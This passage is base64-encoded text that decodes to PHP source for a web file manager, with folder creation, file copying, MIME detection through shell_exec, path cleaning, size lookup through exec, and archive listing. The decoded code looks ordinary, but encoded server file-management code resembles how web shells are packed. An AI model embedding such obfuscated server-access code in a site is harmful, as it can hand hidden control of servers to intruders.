fVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbi